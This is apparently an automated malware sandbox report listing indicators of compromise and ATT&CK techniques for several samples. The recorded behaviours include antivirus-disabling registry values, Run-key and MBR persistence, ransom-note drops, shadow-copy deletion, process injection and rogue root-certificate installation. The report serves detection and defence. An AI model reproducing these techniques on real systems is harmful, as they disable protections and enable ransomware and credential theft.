Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1.exeMSBuild.exe90345194.exeexplorer.exett.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysarddrvs.exe"	1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svcsys = "C:\\ProgramData\\svcsys"	MSBuild.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	90345194.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7b63d64 = "C:\\7b63d646\\7b63d646.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*b63d64 = "C:\\7b63d646\\7b63d646.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7b63d646 = "C:\\Users\\Admin\\AppData\\Roaming\\7b63d646.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*b63d646 = "C:\\Users\\Admin\\AppData\\Roaming\\7b63d646.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	tt.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

asena.exe

description ioc process

File opened (read-only) \??\E: asena.exe
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ip-addr.es
20 ip-addr.es
26 ip-api.com
227 ip-addr.es
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

asena.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 asena.exe

description	ioc	process
File opened (read-only)	\??\E:	asena.exe

flow	ioc
18	ip-addr.es
20	ip-addr.es
26	ip-api.com
227	ip-addr.es

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

cudo.exe4434.exe76.exe66e1db883af59_def.exesvhosts.exe66eea6336b153_app16540406983468141987.execrypted8888.exe

description	pid	process	target process
PID 6724 set thread context of 8572	6724	cudo.exe	MSBuild.exe
PID 7580 set thread context of 8256	7580	4434.exe	sc.exe
PID 8780 set thread context of 4456	8780	76.exe	RegAsm.exe
PID 9400 set thread context of 8920	9400	66e1db883af59_def.exe	RegAsm.exe
PID 7796 set thread context of 5284	7796	svhosts.exe	RegAsm.exe
PID 9524 set thread context of 8092	9524	66eea6336b153_app16540406983468141987.exe	RegAsm.exe
PID 7900 set thread context of 4088	7900	crypted8888.exe	RegAsm.exe

Drops file in Program Files directory 64 IoCs

Processes:

asena.exe

description	ioc	process
File created	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\sq-AL\View3d\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\onenote.x-none.msi.16.x-none.boot.tree.dat	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\sfodbc.did	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarSplashLogo.scale-300.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\FetchingMail.scale-400.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner.gif	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_retina.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\PREVIEW.GIF	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Fonts\BhaiMDL2.2.52.ttf	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreBadgeLogo.scale-200.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStdR_OEM_Perp-pl.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-100_kzf8qxf38zg5c\AppxSignature.p7x	asena.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\java.security	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Grace-ppd.xrm-ms	asena.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\microsoft.system.package.metadata\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\Json\Person-Content.json	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-64_altform-fullcolor.png	asena.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\fr-FR\wmplayer.exe.mui	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngcc.md	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookLargeTile.scale-400.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-16_altform-colorize.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\x86\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-white\RGNR_7AAB8A15.txt	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_2020.1906.55.0_neutral_~_8wekyb3d8bbwe\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailBadge.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_2019.716.2313.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\RGNR_7AAB8A15.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Word2019R_OEM_Perp-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1808.3.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_64	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\StoreLogo.scale-100.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\28.png	asena.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\el\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\AppxSignature.p7x	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x86__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\LinkedInboxWideTile.scale-200.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\RGNR_7AAB8A15.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PROOF\msgr8es.dub	asena.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\Pitchbook.potx	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vreg\osmmui.msi.16.en-us.vreg.dat	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_x64__8wekyb3d8bbwe\Assets\LargeTile.scale-200_contrast-white.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ui-strings.js	asena.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\hu-HU\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-48_altform-unplated_contrast-black.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Adobe\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\StandardVL_MAK-ul-oob.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_Trial-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\FileAssociation\FileAssociation.targetsize-16.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\WinMetadata\RGNR_7AAB8A15.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.0_2.1810.18004.0_x64__8wekyb3d8bbwe\AppxSignature.p7x	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-24_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Work\contrast-black\LargeTile.scale-100.png	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-256.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteNewNoteLargeTile.scale-150.png	asena.exe

Drops file in Windows directory 6 IoCs

Processes:

90345194.exett.exe1.exe

description	ioc	process
File created	C:\Windows\sysklnorbcv.exe	90345194.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	90345194.exe
File created	C:\Windows\sysmablsvr.exe	tt.exe
File opened for modification	C:\Windows\sysmablsvr.exe	tt.exe
File created	C:\Windows\sysarddrvs.exe	1.exe
File opened for modification	C:\Windows\sysarddrvs.exe	1.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

9940 sc.exe
2684 sc.exe
6764 sc.exe
6140 sc.exe
8256 sc.exe
7544 sc.exe
5252 sc.exe
5756 sc.exe
6772 sc.exe
1480 sc.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
9940	sc.exe
2684	sc.exe
6764	sc.exe
6140	sc.exe
8256	sc.exe
7544	sc.exe
5252	sc.exe
5756	sc.exe
6772	sc.exe
1480	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

npp.exesc.exe4363463463464363463463463.exett.exepowershell.exe4434.exenotepad.exesc.exepowershell.exepowershell.exesc.exe66e014584fcee_w2.exea76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.execmd.exerandom.exesc.exesc.exesysmablsvr.exepowershell.exepp.exe66e1db883af59_def.exeRegAsm.exeRegAsm.exesc.exenRQUvisZS5yyGTCGUs.exe66eea6336b153_app16540406983468141987.exeaaa.exepeinf.exewhoami.execab.exesvcsys251451918.exeRegAsm.exe1188%E7%83%88%E7%84%B0.exeCryptoWall.exeMSBuild.execmd.exetpeinf.exeasena.exesysklnorbcv.exesc.exe1.execmd.exesc.exeRegAsm.exeRegAsm.exepowershell.exe90345194.execmd.exeChannel1.exesvcsyssc.exeschtasks.execrypted8888.exet.exepowershell.execab.exe11.execudo.exeRegAsm.exesvchost.exeulMkXbGa.exe76.exesysarddrvs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	npp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4434.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66e014584fcee_w2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmablsvr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66e1db883af59_def.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nRQUvisZS5yyGTCGUs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66eea6336b153_app16540406983468141987.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aaa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	peinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svcsys
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	251451918.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1188%E7%83%88%E7%84%B0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoWall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpeinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysklnorbcv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	90345194.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Channel1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svcsys
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted8888.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cudo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ulMkXbGa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	76.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysarddrvs.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

asena.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000d6be30f9a4b6bc740000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000d6be30f90000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900d6be30f9000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dd6be30f9000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d6be30f900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe

Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exe

pid process

2820 vssadmin.exe

pid	process
2820	vssadmin.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfb